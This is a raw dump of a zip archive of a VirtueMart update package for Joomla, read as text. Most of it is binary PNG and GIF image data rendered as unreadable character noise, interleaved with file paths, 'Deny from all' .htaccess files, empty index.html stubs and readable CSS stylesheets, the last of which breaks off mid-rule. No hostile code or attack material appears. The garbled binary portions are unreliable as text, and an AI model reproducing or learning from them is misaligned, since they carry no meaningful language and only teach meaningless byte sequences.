k۝,\ԩHJJN.,˙GpdoS[|ɵ@~~^^}=ҢvݮŦ/ A`0 wN&O2hookkl*+++++U5#ᒒ #cG{z)JM PP_W':UUcbDI55NC ZS45~Fh<.>ȑÇ k]S% HO((BׁRqNupXB!_4/6nx>_'$"Z "QX 8|СEQt:dIJzE{kIPmltbEU=q?t:YzhN/+s$QP:iu(@rrJJQUGa^o2%']W\UUUU\>[X=f̧ #;|b@ccIɰacW\1zHHMVCUrsѣGs &&&%&55_퉉#F5qb$zpUMHHLܻHOOO=N=^ \ФI)Ӧ]~ydUUEENGٙiˁ##uJIujjRꪪmC /)˻&f7>| N#>rNU-++-=x7nudG$RUC!qqxE"+1cƍ>]D랉egqq;w|C-Z$b=cWT<X,fz,NuTu1t:m655555yC='''gV~m.)ٷOUsssr~jNNvZWWWwhG;{oخӭSGGNp:V'D?TUOtb˵{[Ʈk}>suzr\.޻._\yy{ݼ<\740>Ǘ:?s'PTTTgO{||[۹onw?U4>8cUU|$%}%%yy@YYiii<<jv$71;7">?xݺUE D,y8IC!1"#cH||RݞڵcGG{lwUCRRYz-@QApL4`E5%>>>eeݭ@c7gf4?抩w˖q6_QQQQQ RU8&]sm&deM"I_}k֨c6  B!q*˧ߴ\75]99">^zͥKUuի_}UUǎk-[׿jQQQQas繍߿?Z;vckkkkkjTU[1>DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDtjZP⹎_/!I"o]Hs|޽'ǟ*L*(@~~^ޮ]}_ )>2Jv{p!Bw7f\''k55}E|ѣz=Y||}}}}}=eƍ|\rɄ @SS[[u޲EUg̘9s̞wuͩG<">;8>^&>^V `РT-r~URSEXrUUEEl,pHQц ONH4h0`ʔ)SƍXGKJTuӦ{=KVz_{&&--:~1qy5,Xp-Qk|1">>1񼌏6mإKx-Oׯ_Z> xCxn{a`РAB|< d||EEqq_kY[|"Df`PON23'L2\(">5Jt{Nr--.׈;hxt/?`2Y,^ df5opu7tmtCi_$'ĔӉwx\ggo"fžP||qqqqqk/-_-S7x%KΏ}D dJ׾_۞6>^{oJ۞ޖc|<㉈:-(Qw?WsܿvU=xڴxIRs\ ojjldWUE)>~s&U5Zd2jk#֊xs|/xe˦M~xYv͚22wW_}'סx2e->ID' |> %eԨZ z^wf4. =[||Q8">^E| 7D#>wWT5##%ρo IQz?bcx?xE#Gǎ9_1zH|w~||vʯ~bq]|q?_}?}_y$-Y~ĈsG7>\UfU=zpEnCC0xm@C$)J(ѣz[O@㫫e|~.ssnC^/'&>8Z*50ݻg&>~ٲ)>^lOoZj寽⋪}7~Dk{e^|'gOo?g|<+.r{.{mNs|=N坻x@Q n||^^n݀QOI۵\1p:iQTTTo_G\X侍oh6o޸"NuuUUV::egGjZZzzzzC!oX'8D :こ*>^๎:TvUUso6lZѣݑs',lcN !B`|">?w%RǏplټy:Umnnjڰ=KW8: xwD$N1Do>x766664:0}qK:y<+Ōx7/Z=שx@)lL'Ϙ!Rcb)>~܁oI||nʕNN딞\sͭNP6v'?tWv}||o||ss+TU=SC7wnd?SN֭_'#">~s?zNou1_E?D|w&vRY5,Xpq&L$I_~gWj]]eM@]]mmyy*7o>u||C9վ?t{|R#}lmǺuk,[vzuU^{տEU:/) 555555}?g['m{>}]8x+>wW\\U6O㛛b||^񑺇@nnnSSv{].DE||aaA޽@Jݾcp3uIIXtwS$>>6L{S}}]]]e˦M|\zĉGGGGM u֭N3fN6fQ||Njl]"xz.߯ԩ~$$= f v奥v;PUU^ D#Ǐ%boXSğONj:x/+++;tHU7o޸q*gxm 55%$1d~A`Ԩͻڛo>SnjYT?G3fD3>:`5@ffZΝ@( Čo_AO Ǒ4?C=>^Ssw.¼Uuίڶ P->bGGכ 4q=wE\#>dmm'6򲳷mF?/hllk5 p8@`H*+ON_U%bx@v۹5Jt@7M|Ve0tٳ!CL7X/CUu 3PEEߏtXuZ棏^}UUz7_}{~aku"""""""""""""""""""""""""""""""""""""""""""""""""􏐢ի?^|QgV{cDb?mqwhGH~?nxOV 6m0(Z_|3+k G/%%Ӧᰢ?Q~?A3GYY;뮻*.֖ElsωZʕmh%Zmn2>Ep8 kqs8rDZG{h~^X[pOFj1hXt>E]ÒTYٿ߮ ^h^-ڗ^ .N,/MM^:s==aD|MG~7sMED[Z*Zg~#~ᅨD}ѿ'9vFc9En_w]߈۷V[墭v~~ gP8(O||֧CE#.^yeqnozꩧ_7jQ_~~ /}DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDԟSX?6f̚5NA|Z Z4䓷vw=2F{{Y؆IJI)++.,V@RT?fSՏ~Ҟ+6C¾23E;ghD{wq]wU\-)77gfk%%4t;v&SggG ˁ'':ô0!7 {[h^>h/֖[ZӇ qTVoaϔVήqZ^)իEK]}>Y6%dr8YGt(BٿGFOGtsm믻./TW?DEEM⩟$ X⑰$8)DAw_3NIԾWҞ*G]w+.wΝ;[Z2333׭s:22~fӦD__8,IfuNںx-̞Sv'^%ڢ"n*Zj)曢я{+ #Fhi]! ̀tv&'ƪ^RUu-:gSO}򉶴,R{NܳG+WV $| ?S;ZѨd4vv2x$BqqKOv^+^>hmchr-/Z2:{EUewzx@8&MJOԷ@|(/MM'՟{+V[o{ۣQNUUI< t:EEu: áR򉑧TG]ΟHNEQ.OU3@u2 {'x"mp&A8,Z~Z rE (Gֱ:]d{Ns뺝 :^QpvO@\ p` 툋6m;%: m|hu?{.m+DfH6T.׳>OGbڷgGZUU}44$$dttw]߈۷`墭v~{SNI ̛?L&뭯4UbIOohx≮K\>SOio~ LK.љ`PQdjz E{HDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDIz7|-MD ,\%'I*"t:VҢlVj튢(2oL11eeeeee Nt˖-[l٪UZHk҆ 6l]ve].r:Nw|-ߪ,˲,Kh4z}S!c6f3`0 >`Μ3g֬m۶o߶mhB1bĈ#bb^DC#u`׎^ks@Ҿ~m@0.tD @{{[[[|>_:m`)J׿P(=Fa@t ǿh4E ihNEQTE`0:^( @$ddGzW X'nnt:qCv,K^/"J5 fm9Ae`bbbbbb")v/ Aq&rY6de^#WzwN,׽cE]t-@) ЎX^끘-&&.`#O_{O;m|o@@{#2Ջ[]aZG~3'Wo@;vl߾}{ p=?'qp47#L]ijBq-׋k_"Fbcbczgq2yX[PǎwgKw*vdjwW&s,bcOl >^6f$EҪUo߾}m;wn߾mNr|3;o)>_#S60t:YV5&fǟO@'bt:E><+k.F5>>66.P T>*+ߞE YIs8D`"AmmGcɯ< rj0Vӓ,Odg7ݴp5| Ij|~0faannQoLVT](UUU B!qj3H[N|{BdמTV676ttt11,VkIIYYE7ر}/V[~M^ѣ{<.؅pvt*zq(.Eks^/$ᰢ-6nn+*d2cǏW^Yؿǎ;^|ښ7chS^o0@llBBz) 'c4 w޽99b\A))$''%YY&]t ]@Q;chG~8 l@kkgx4|_"S8gy tttv*PSSSSZ յ&eeM L0qрjY,099..HF`Aw}§ yv,/"SN8444664_|Zx<[hVâpX\ Xz$YFcccccccgv77;UUUU%%Ȳ^~FZQav@BIx6n?dɒhm7@m5W"S,>q"|.~[`@Qn@UVh=z̼b`̚rsoQ MMS$Y,68_qj(r@8ryá`0 x" 3g^s `6'$$%V֭O> 4565}B@Y'<40t$:qYNg6t@(dY> `0 F^ 5(>_dy`xpx!C1ctbСuhWEmhe_ٹr%?_>`p:E8qH@ 1NUnUxB!`Č@|xq(I@bbLL}AXX*x:(I$Mdf;'O=v ضmTuPhf 6,1.r׽`dm(!.< +k(Q& ~#{ `0RRf̌f>$$2uPPwNVY?>_\ #F HuH+I ,_Gy=A޶6M<lmZ[ĖH \t8E' >߆ b cjjÇm'I`4H`( `$%|՚r:`Sb0l9d4l2!Rۀv>x\N'vt^oKx<>x(p2\]:nw0XR(ܹƳg@ep8lt ~Ųxc4|f3`4:z=`410l60V M&LO@8@0|@0v|cq:a pz , PlNv&n<{}6eiWUUՑg$ zPUUUUd3Of!:}IENDB`PKtl>\@ Qcom_virtuemart_update/components/com_virtuemart/assets/images/facebox/loading.gifnuW+AGIF89a 򺺺444ėTTT! NETSCAPE2.0! , H *\p hp"8G>D)R4CIË\9p:ȹs1_2`p` u< uSYڐkǞ`Fhvƴ6S>u+ryJ/QM.0@p_ ++/KY&]9ى Mr `ixr\˪ vfjMO&*Z؇o>;ܦŝ",,@CPؼrSE.ٴjTWYR Y+ѫKb ڌ! ,H*\)Ocom_virtuemart_update/components/com_virtuemart/assets/images/facebox/.htaccessnuW+A Order allow,deny Deny from all PKtl>\z>Tcom_virtuemart_update/components/com_virtuemart/assets/images/facebox/closelabel.pngnuW+APNG  IHDRtEXtSoftwareAdobe ImageReadyqe<JIDATxb```@ŀ@ *įP+4.0 I&/6X H7uѼ 0 na,IENDB`PKtl>\ElPcom_virtuemart_update/components/com_virtuemart/assets/images/facebox/index.htmlnuW+A PKtl>\? \com_virtuemart_update/components/com_virtuemart/assets/images/availability/not_available.gifnuW+AGIF89a~$Ͽ񀀀```000꯯PPPΏ ppp@@@!,~$'dihlp,tm9'N$ Eݢ$PIΒt8$0V5RmEUҝ5Ky"j:dm-g(,ab#p<-y) [$V_(Lt#Vv vVN(q"R$S ~D":V #xÁͬ "{StVD&V|#Uߣv"7NX‡!8 㓠ֲz #-i<`ل'(JV6h۔P$PbވoOXy8r<|rK& ͲWuS:6`5R6R*hVjEQ)Ѭ :BBq! paGfbxQ3:c5 aq<'pjuPW k2CclԦ`[\#n]x"L#-5)=O6fC1 _CT}#e f%\# m@`t!v u@vG3Yܧ tSgJ(uP7IK84C3B@xѕL5} bB0@Ken"xr8 (Pi裐F*餔Vj饘f馜v駠Z:@-Z,* PB k ,`+ @p(@- @О-R@\ ,`B ;Kz+\PoxP+ B +p@. hm#dq[+s챳Vp$B1P(o|zг?\62 ``$ό1dP s]R3b9u m3&Ľݎ0mB%kp o[%t'~ 4 p #>6 {+֤zH k!K zB_.A󜷪ALONx/;PKtl>\Ucom_virtuemart_update/components/com_virtuemart/assets/images/availability/index.htmlnuW+APKtl>\e &u  Scom_virtuemart_update/components/com_virtuemart/assets/images/availability/3-5d.gifnuW+AGIF89ab#&!*%".)&2.+51.730952;64=96?:8A=;C?EA>GC@IEBJECKFDMIGLHENJHQMJRNKROLTQNTPMVSPVSQXUR]YWZWT^ZX_\Z`][b_]a^\da_fb`gdbhdcjgekhflignkioljpmkrnmtqospnurqwtrzwuxus{xv|yw}{y|z~}Ϗ3˒?ؗ6ۙ5֖:ԛ9ݞ9ڠ=9>~˕BȓCϘJ͙LӜE—UƝ_ܢC٤Mϡ]Ҥ]B@ŞaɢcЧeԨaԭoέyԭqӱ~Բ|յӳڻػӼٽԽƝŢơ̭εּ! ,b# f4Ȱ@O#ᐡ3%QVǏ `A@ 񠛏ZdM `/_sTB @FH} @|]ʁpͫYqTaT9x +ДY}ܔQcI)9TȩB8 yӸT@ ڨ`G,'Agpi"D\:DD |8 1 B 0L8h48h@r` ĐJ% !}C#z0@q5`J4q@@B4D`C!b|vt$}cR4O(y2%7D21&j$̐C~#P+pP3XGG!R-3A4 Q* tAX3?#u@8ДzVo>G ^З?|P,]'P''@fn( M  c8s5A+$9 Cp8ISA T B.%|&Tw[!ܑ4j#H4P8͡iRSÐ;$ I Ɠ 5cCU0G`$&CqBā1q Ei 11B9i'0U2H)Bv78^{7樧3ÎinM /MT|MǃTMM//= ҃D=H;=D>HRG<2IHO{,:/&$! Az6a < BЀIAA Esa ZA/L8B[B@ ?*ذ8LBA"ؐ 8{ p  . \8QG1lD&:Q$2xC P [T 0v_D_dP"2F- $\8#pScom_virtuemart_update/components/com_virtuemart/assets/images/availability/1-4w.gifnuW+AGIF89at$#&!+&#-)&1-*3/,51.720:52=96>:8@<:C?=@;9EA>EA>GC@IEBIEBKGEMIFMIFOKHQMJQNKTPNSOMWSPWTQYUSYVS[WU\XV[XU^[X]ZX`\Zb_]a^\da_c`^fb`gdbhecjfdkhflignjioljrompmkspntqovsqwtryvtxus|yw{xv}zy|z~}}}{Ϗ3˒?ٙ7ڠ=<ʔBΙKӜE—UƝ_٤MܢCϡ]Ҥ]AŞaɢcөgέyԭqӱ~Բ|յӳٻӼԽٽƝš̭εּ! ,t$ ؏\Ȑ*5Hᾅ7 F[( CȐ@q!́th .#h &@VBH*i Hc?.8Ep ( ~.@!'GDU lGf4:]b`l.07^ԹsQܘ(@#xx>TUO$܇P@4؜gR@wƸ&Ck;S@Z-LM7T!Q!d]9 7=Ky! f13 4 h B, T BvTip t_?dWK0*H @{`<@v5Zqa@" +pڌ@m@^֏(%Dki"} TB0@`C? CTC? C*/pZyN!AAΈE'!&މ&m#a ԃj}+ 4I UA)%x1Gԗ=@Nw.DH=! {A, dPy$G %!}[r3*6b {Ol2"7.@1C .&u'.B%8Ч[@IzC0ÌBM?OESM_#E4a7BP(< P@u!q95QB+ J?s CW_DzqrːSe BkD]4B \$9 ԫx @0iT*Bdo1X" YBDn,Dk5pMCCXE@B?dpBCpV? dH68@JT #u0]*" !~5c~`CDxb4 A(qР W0 gH8̡w@bK1"P$B2N%Dp8E)$R N-p"H(ƉWH2P!dm;fYdu/r4J8(RGPHB2B0΢-~1_B oN~5Y Sql,@K!Q ,,@6޲c.\sDH0ILc1(-YcB, Kd&C1a9ytfCh^jq"'-ِl8e?9 d4q A a(! Q$lEQb %@r"#-I^Ò,Kaʐ_ i2pKt=U"C܁΁!*4jŁ(ըHMM̚ U]:Աwp [W)9Vx5hc@;PKtl>\HOOScom_virtuemart_update/components/com_virtuemart/assets/images/availability/2-3d.gifnuW+AGIF89ab$#'"*%".*'3/,61.:52;64?;8>:7A=:C?=EA>GC@IEBHCAMIFNIGKGENJHQMJQNKSOMTPNWSQUQNXTRYVS[WU]YW[XV^[Y_\Z`][a^[b_]da_c`^fc`gdbheckgeligkhfnkioljpmkqnltqovsqwtsyvu|yw{xv~{y|z}}{̓=ϐ6ԕ6ٗ4ڙ6ݚ4ҕ;Ԛ;ۜ:ˏ79ڡ?;<~˖E̖HΙJ˙LƑCҜK֜C̜SŜ]˝YڢDۥJԤUդXϠXBABƞdˢd̦lǡfԥcөdӫmͩsͫuӭsԲ}֯vմԶֹٻعԼּڿֻֿÜţʪˬɦαͭ˧αѶҴ־Ӻ! ,b$ hNћ5 \Ȑ:ijH߫Va͊VǏ @8 FP$ yǵ,I8s LU2$瀄'dHx䀧3IH s)U tG8 Jw"! #( @G4V,,ZrNkuVr ;1 s T50cc ıpȖ" a `Mo VKjIyOi\f| Rcom_virtuemart_update/components/com_virtuemart/assets/images/availability/48h.gifnuW+AGIF87al/ !"$#%!(# *%"+'$.)&,(%1,*3.+51.952=96:63A=:C?GC@IECMIGKGDOKIQMJUQNSOMVSPXUS]YWZWU^[Y_\Zb_\`][da_fcaifdlhfnkirompljtqowtryvuxus|yw{xv~{y}}{<ܔՐ۔֑͌̏*̑,Ώ#ӓ%ԕ+ڙ&Í8ǐ6˓5ő<͕;ҙ:ՙ4$ܢ:#*+'45==8KHŒBɖC͚EÕL̜JʖHќC˜R̞SÛ\ɟ[SҠJ͡Tˡ\ԤUBBğcˤdʥmΩkȣgҬjҨd̫s̬zѮ{Эuӳ}ͯͱҴҶպٺռؿœţȥʩͭˬͱ̬ɣϲѶѵ־Ժ׽,l/ HxyF(TX"Ah8" 0dqǂHɂ*Xء$VʴxɓyCgh̋G1JJfk <5\iQ,g'VhHͨE-AyπdHHfV0Q 6K[4`hheȤֱي'*YI5@РjR)Xl>r1LF- ! n|><CnU#:+BG .*G`G93J J4[YĀ"cL 4O,$CIUJlG}{PcATkUsE} WW5UYgjE!ADG S  &XZE`"2Art9>}D Y4I *)A̴II{xV++%G@}agb)ALZpӉV< G ^4PJ,ǩE#2R""D35o[̘I_VĀ%"_YM(4HZMV!`xVI ]eM," @gw砇.褗n_2T01zeRI3ߔz%~8TRM(S0›ԍ6K|5zO0;J @8(=SQD% ;_I'u_ 4Fx.yЀdH*\X""Qcom_virtuemart_update/components/com_virtuemart/assets/images/availability/7d.gifnuW+AGIF89aK!"&!+&#.)&/+('" 2-+62/942;74=96?;8730A=:B>;C?=D@>EA>GC@IEBKGEHCAMIFMIFOJHOLIQMJSOMUQOTPMVSPWTRYUSYVSZVT\YW^[Y`][b_]ea_c`^fcagdbhecjfdlignkioljpmkrnmtqourqwtrxusyvu{xv~{y|{}}{Ϗ3˒?ؗ6ۙ5֖:ԛ9ݞ9ڠ=9>˕BȓCϘJ͙LӜE—UƝ_ܢC٤Mϡ]Ҥ]B@ŞaɢcЧeԨaέyԭpӱ~Բ|յӳڻػӼٽԽƝŢơ̭εּ! ,K!  (Ȱ ̡ŋ3bᡣG[h@G  ˗I()㸂c*sQp2@ SЈFKY$SPCzuf @5i2z*F4YGR<D0b-F\JZ7PtqބZL(x cEAɉRA::#c p j ZM 1%VOTAH OB XZ~+X㚂((!\">ð i4p> tpF/93f(!P 2F>S.iF-KAq\n0O`M@C t7/@QE?@O(VgȨAAy/\ hD=gQ`, $0 L3CAl0tFH0AE~ 89Clv Cp()Ј9o '1~2d7h =` qR1@WB搆{59$g P@Va%ÞŐY P'J2}PN &+pPL@'0C* //Q?#?i .<&t.̲-T4s-K3F: 1HDKD;FL; .蒑.L 3u l9:99Ž6D4!t(B? ;PKtl>\ERcom_virtuemart_update/components/com_virtuemart/assets/images/availability/14d.gifnuW+AGIF89aY!"&!*&#-)&/+('" 1-*3/,51.952<75:63=96?;8730A=;C?=@;9EA>GCAIEBIEBKGDMIFLHEOKHOLIPMJQNKSOLUQNSPMVSPXUR[WU]YWZWU^ZX]ZX_\Z`][b_]c_^c`^da_fbagdbhecjfdligkhfnkipmkrnmspntqourpwtrxuszwu{xv}zy~}}{Ϗ3˒?ؗ6ۙ5֖:ԛ9ݞ9ڠ=9>˕BȓCϘJ͙LӜE—UƝ_ܢC٤Mϡ]Ҥ]B@ŞaɢcЧeԨaέyԭpӱ~Բ|յӳڻػӼٽԽƝŢơ̭εּ! ,Y! ؏ \(POb =JIȱG\T1C<6arc\bE61 4iMI (\19mev::Bi0MC‚5,h &S7pI,uC:,x!.d$Bq!4T@kPj Ah$:2\g:QBqE@OJsA`U!ZǙ6A_92{Y&<)q5T!0 yj*6 !)#F? Ph T =T Bu,JBhtJ`]-B43B{ `xsZ[?sG7Vb a>JBSD @+!40 -IGN@h QGjU) UP(Q@1И!$]MC(ABXl4Be BH_i`# BIC)hYKi)rL4! T+(9B@`"dm a \,C>  BP@4ќ@ Bv*hXAb?Qz@ESQ$C/pGш CC;G G? (x$K$pTI' b,dLLP5UC8Lm6A GFJDgmD^wwGg߄.P*КP"1a2YG瞃9ZG/loĺ1/DMxd;-t;b/w"EM3DCDLP/P:b<./|o/-~f#r;'?,w2ge|@:`?Q >0,%?%P #|MltEB p`2nx7Jဦۈbx6$ dlb^c}t_2@*:qC!Á#ta9Hґ<>q \H:ұv ,)Hq%C;PKtl>\)Tcom_virtuemart_update/components/com_virtuemart/assets/images/availability/.htaccessnuW+A Order allow,deny Deny from all PKtl>\葠llRcom_virtuemart_update/components/com_virtuemart/assets/images/availability/24h.gifnuW+AGIF89aL# !"$&"+&#)%"+'$,'$'# .)&/+(0,)3/,2-*62/51.730;74:52=96?;8A=:B>;C?<@;9EA?GC@KGDIEBMIGMIFOKIQMKQMJRNLTPNSPMVRPWTQYUSZWU\XV[XV_[Ya][b_]b^\a^\da_c`^fcahebjgekhfligmjhqnlrompmktqourqzwuwts|yw~{z~|}{Ϗ3ȑ?͓>ؗ6ؘ4ݚ5֖:ԛ9ݞ9ڠ=9>ȓC˕B˘JϘIΘJϚNӜE—UƝ_ܢC٢L٦MϠ[΢_Ң\Ҧ]AB@ŞaɡaɢdЧeԨaԭoέyԭqԲ{Ұ}ӲԲ}вմմյڻػӻӼԼٽԽşƝŢơˬͭεԺ׾! ,L# o X8`Co#JME B8n5aɓ'>;Nh)qIE4 WT1`RNNn$P``5$2I\KD *uj: gNcDv nLޘ*IFIyxBv0?&KUZ`_DLO+P;0㏢ZD0' &D &2Ys+Ia,/\T"#7ID}P"uH#zDv@@'}PÑ Q49,rAhD4B2xVImTOX 8DM<`8I-XNC G[-AܡB 1Gw(%%J8SI|ruO=8`t 7^jѤI!q$Bx U`**h8M`i|a+ba9R@D;c @(_0Ft?L:M)£gИH,tgj뭸뮼k)M-!+4)c6>-"9K-GNuдm-}.K6F\~A+ + Scom_virtuemart_update/components/com_virtuemart/assets/images/availability/1-2m.gifnuW+AGIF89a~$"&!*&#.)&1-*3/,51.:63=96?;8730A=:B>;E@>FA?GCAIEBJFCJFDHDALIFMIFNJHOLIQMKQMJSOMTQNSPNVRPUROWTQXTRYVSZWU]YW[XU_[Y^ZX_\Z`][b_]c_^da_fb`gdbjgekgfheckhfnkioljpmkqnmtqospourqwtrxusyvuzvu{xw}zy|z~|~}{ˏ7͓>ؙ7ؠ?<ʕD͘JӝMӜEƜ\̞Z͝TۥIAƞc̣bխoӨ`ΫuЬrղ}ӳټعռÜŢѶ׾! ,~$ (\*\ 6JHŋ=e:6A]`He'Hd ˗0#9f b.A% $A t*]*pF1&0 YhH:HO+XlAE~ Ȍd$ǩ͙DIԦ$тFR$WJD^RH>R9vAcMdTd!(oEtXP A)Q c8E0 Q* 9ɜkɫ2d(02)x@#JİIhu 8CWI&{ DspxtZSJ\B$0HF $!P^>4P I@Տ>(EB@ A  $!P%$?%cYBjE@ ZCR@B:mARM4nAh 4B #  @dtY$-p@ΐ4I?3*ArT A߬"k)ď bM$&P$A<$яP , DIB@GEc@2'$&@iBfԥ@48M$IhȕBQ0 td( IJ%&KP r4Pp0EHjT$Ot0s̛ XS?Ȑ@*Bi P@Ќɣ .A"[Wp @;$ J + I1I #O`? BuQ>w .AACB)$alX ,It-B Z Tf,deDw<)P, 5B8Ade"0R0,0PO# 4;˰K@Ћ8K1&2(a%H2/<$NR.3bO:о1)$IbJ-E"9E@k!Њ)DTV HK 3Ax$I@"*< PQƅrX%8 &+ؼH2hL6pHG8B9/rs\D~5X | -acQ5pɉ$$F0B"Ā%-bW9.YuФKф# aF,`ʅ4DXĒ"ܥ,+& D3لcN،+^M`|E,hMl+I\`;INl\H!p('X#ʂ4+Y i8cQфB#gzR! 5(-IU%:!NZX!(G ѐJde!@*s\HJS#$j?sT UkeQWͨŌ<2S y!S!9Ba)JͩJQ&\ B!Q $[q~Lĩ*+;IJ4 l?I*6%H٪GV]L {)ہrc@;PKtl>\ٗ Wcom_virtuemart_update/components/com_virtuemart/assets/images/availability/on-order.gifnuW+AGIF87a4 ! "#"$#% '"&!'# (# )$!+&#*%"+&$,'$,(%.)&/+(0+(1,)2-*3.,4/-51.730830952;74<75=96?:8A=:C?EA>GC@IEBIEBKGDLGEMIFOKHOLIQMJQMJSOMUQOUROSPMWSPWTQXUSZWTYUS\YV[XU^ZX]ZW_\Y`][b_\a^\ea_c`^fb`gdbhecjfeligkhfnjholjqnlrompmktqospnvrqwtryvuxus{xv|yw}zy|z~}}{,4 H`Fk BBH"O3jȱG&ْE P9>ʜI/8\ɳF`ij@ѣl泩SapQ`~=ёQ iճV)6m_TK`nj1J%o^M:Xa M$ U?dUE#.xpMOvVqQF@Fݐ`Z`+?d\uIGVT1dQtAXJ@Amu;}aT=QMQsQ$t??5i2Q QKɑ1BA$IktcZT` Ov$Q`4QdQQظg7BG182q(!rq[}CmQHd̅<FO$GXd` e !0 :;9G@ve̠`l Y045`N,3B@&+ $zA,8yIp#$xR s@# W|O V# <  WI7l :p(AI|@J@rXPh#8QX" QǍWMI40xO'R<(yK`QRLe)5 Wq  ZQn "=>qQ3 Hq$*gu ȑU[X7D[$0y =$H6g Oa΢Hu2QF!GVPR#0[QH2&@Q"rc^ @dr/ ?H0l!ƭBT)QXp m# I[ # ZQHPAFA!ɢ(7D E9'ZЇ8nkA6X(+ҼYGA:Yܡ9v(H!  fQY Uv+ N$ ({$"%s2ш@"Sш;! m#u"O_ԩnKz2'+֮"Aownz\ 6w+<)^xg _wߵ)o{վ`+w?}Slo=yJ;[PlIw*fyB-0o}F4򮽣Oqv~㏿84T?K\)Dcom_virtuemart_update/components/com_virtuemart/assets/css/.htaccessnuW+A Order allow,deny Deny from all PKtl>\-LyyFcom_virtuemart_update/components/com_virtuemart/assets/css/facebox.cssnuW+A#facebox { position: absolute; z-index: 65560; text-align: left; } #facebox .popup{ position:relative; border:3px solid rgba(0,0,0,0); -webkit-border-radius:5px; -moz-border-radius:5px; border-radius:5px; -webkit-box-shadow:0 0 18px rgba(0,0,0,0.4); -moz-box-shadow:0 0 18px rgba(0,0,0,0.4); box-shadow:0 0 18px rgba(0,0,0,0.4); } #facebox .content { display:table; /* width: 370px; */ width: auto; padding: 10px; background: #fff; -webkit-border-radius:4px; -moz-border-radius:4px; border-radius:4px; } #facebox .content > p:first-child{ margin-top:0; } #facebox .content > p:last-child{ margin-bottom:0; } #facebox .close{ position:absolute; top:5px; right:5px; padding:2px; width:8px; height:8px; background:url(../images/facebox/closelabel.png) no-repeat #FFF; opacity:0.3; } #facebox .close:hover{ opacity:1.0; } #facebox .close img{ opacity:0.3; } #facebox .close:hover img{ opacity:1.0; } #facebox .loading { text-align: center; } #facebox .image { text-align: center; } #facebox img { border: 0; margin: 0; } #facebox_overlay { z-index: 65558; position: fixed; top: 0px; left: 0px; height:100%; width:100%; } .facebox_hide { z-index:-100; } .facebox_overlayBG { background-color: #000; z-index: 99; } #facebox > span { display: block; margin: -25px 0 0 5px; position: relative; }PKtl>\=*Gcom_virtuemart_update/components/com_virtuemart/assets/css/vmpanels.cssnuW+A/** * * Implement JPane panels in the frontend * * @package VirtueMart * @subpackage Templates * @author Oscar van Eijk * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * @version $Id$ */ /** * Sliders */ .pane-sliders .title { margin: 0; padding: 2px; color: #666; cursor: pointer; } .pane-sliders .panel { border: 1px solid #ccc; margin-bottom: 3px; } .pane-sliders .panel h3 { background: #f6f6f6; color: #666 } .pane-sliders .content { background: #f6f6f6; } .pane-sliders .adminlist { border: 0 none; } .pane-sliders .adminlist td { border: 0 none; } .jpane-toggler span { background: transparent url(images/j_arrow.png) 5px 50% no-repeat; padding-left: 20px; } .jpane-toggler-down span { background: transparent url(images/j_arrow_down.png) 5px 50% no-repeat; padding-left: 20px; } .jpane-toggler-down { border-bottom: 1px solid #ccc; } /** * Tabs */ dl.tabs { float: left; margin: 10px 0 -1px 0; z-index: 50; } dl.tabs dt { float: left; padding: 4px 10px; border-left: 1px solid #ccc; border-right: 1px solid #ccc; border-top: 1px solid #ccc; margin-left: 3px; background: #f0f0f0; color: #666; } dl.tabs dt.open { background: #F9F9F9; border-bottom: 1px solid #F9F9F9; z-index: 100; color: #000; } div.current { clear: both; border: 1px solid #ccc; padding: 10px 10px; } div.current dd { padding: 0; margin: 0; } PKtl>\c3h`h`Icom_virtuemart_update/components/com_virtuemart/assets/css/vmsite-ltr.cssnuW+A.clr{clear:both;overflow:hidden;} .general-bg,input.custom-attribute,input.quantity-input,.manufacturer-product-link a,a.ask-a-question,input.vm-default,a.product-details,a.details,div.details,button.default{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) top repeat-x;border:solid #CAC9C9 1px;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px;color:#777;text-decoration:none;padding:5px 5px 4px;} span.custom-variant-inputbox input.custom-attribute:hover,span.quantity-box input.quantity-input:hover,input.vm-default:hover,span.quantity-box input.quantity-input:hover,.ask-a-question-view input.counter:hover,.ask-a-question-view input#email:hover,table.user-details input:hover,a.ask-a-question:hover,a.details:hover,div.details:hover,a.product-details:hover,button.default:hover{background:#e8e8e8 url(../images/vmgeneral/backgrounds.png) repeat-x;background-position:0 -40px;color:#000;text-decoration:none;} .productdetails-view .spacer-buy-area{padding:0 0 0 12px;} .back-to-category {float:right;} .product-neighbours{color:#777;margin:0 0 15px;} .product-neighbours a.next-page{background:url(../images/vmgeneral/next_16x16.png) no-repeat right;padding-right:30px;line-height:20px;float:right;} .product-neighbours a.previous-page{background:url(../images/vmgeneral/previous_16x16.png) no-repeat left;padding-left:30px;line-height:20px;float:left;} .productdetails-view h1{font-size:22px;margin:0 0 6px;padding:0;} .productdetails-view .product-short-description{margin:0 0 15px;padding:0;} .productdetails-view .product-description,.product-fields{margin:15px 0;} span.title{font-weight:700;display:block;border-bottom:solid #CAC9C9 1px;font-size:14px;margin:0 0 6px;} .product-packaging{margin:15px 0 0;} .icons{text-align:right;float:right;margin:4px 0 10px 30px;} .additional-images img{margin-right:8px;width:50px;height:auto;} .product-price{margin:0 0 15px;} .price-crossed div.PricebasePriceWithTax .PricebasePriceWithTax{text-decoration: line-through;} .productdetails-view .addtocart-bar{margin:15px 0 0;padding:0 0 0 38px;} .availability{text-align:center;margin:15px 0 0;} .customer-reviews h4{border-bottom:solid #CAC9C9 1px;font-size:14px;margin:0 0 10px;padding:0 0 6px;} .write-reviews{text-align:center;margin:20px 0 0;} .write-reviews h4{text-align:left;} .write-reviews h4 span{font-size:12px;font-weight:400;margin-left:8px;} .write-reviews span.step{font-weight:700;display:inline-block;margin:0 0 8px;} .write-reviews ul.rating{text-align:center;margin:0 0 20px;padding:0;} .write-reviews ul.rating li{display:inline-block;list-style:none;text-align:center;padding:0 5px;} .write-reviews ul.rating li span{display:block;} .write-reviews textarea.virtuemart{margin-bottom:6px;display:inline-block;} .list-reviews .normal{border:solid #CAC9C9 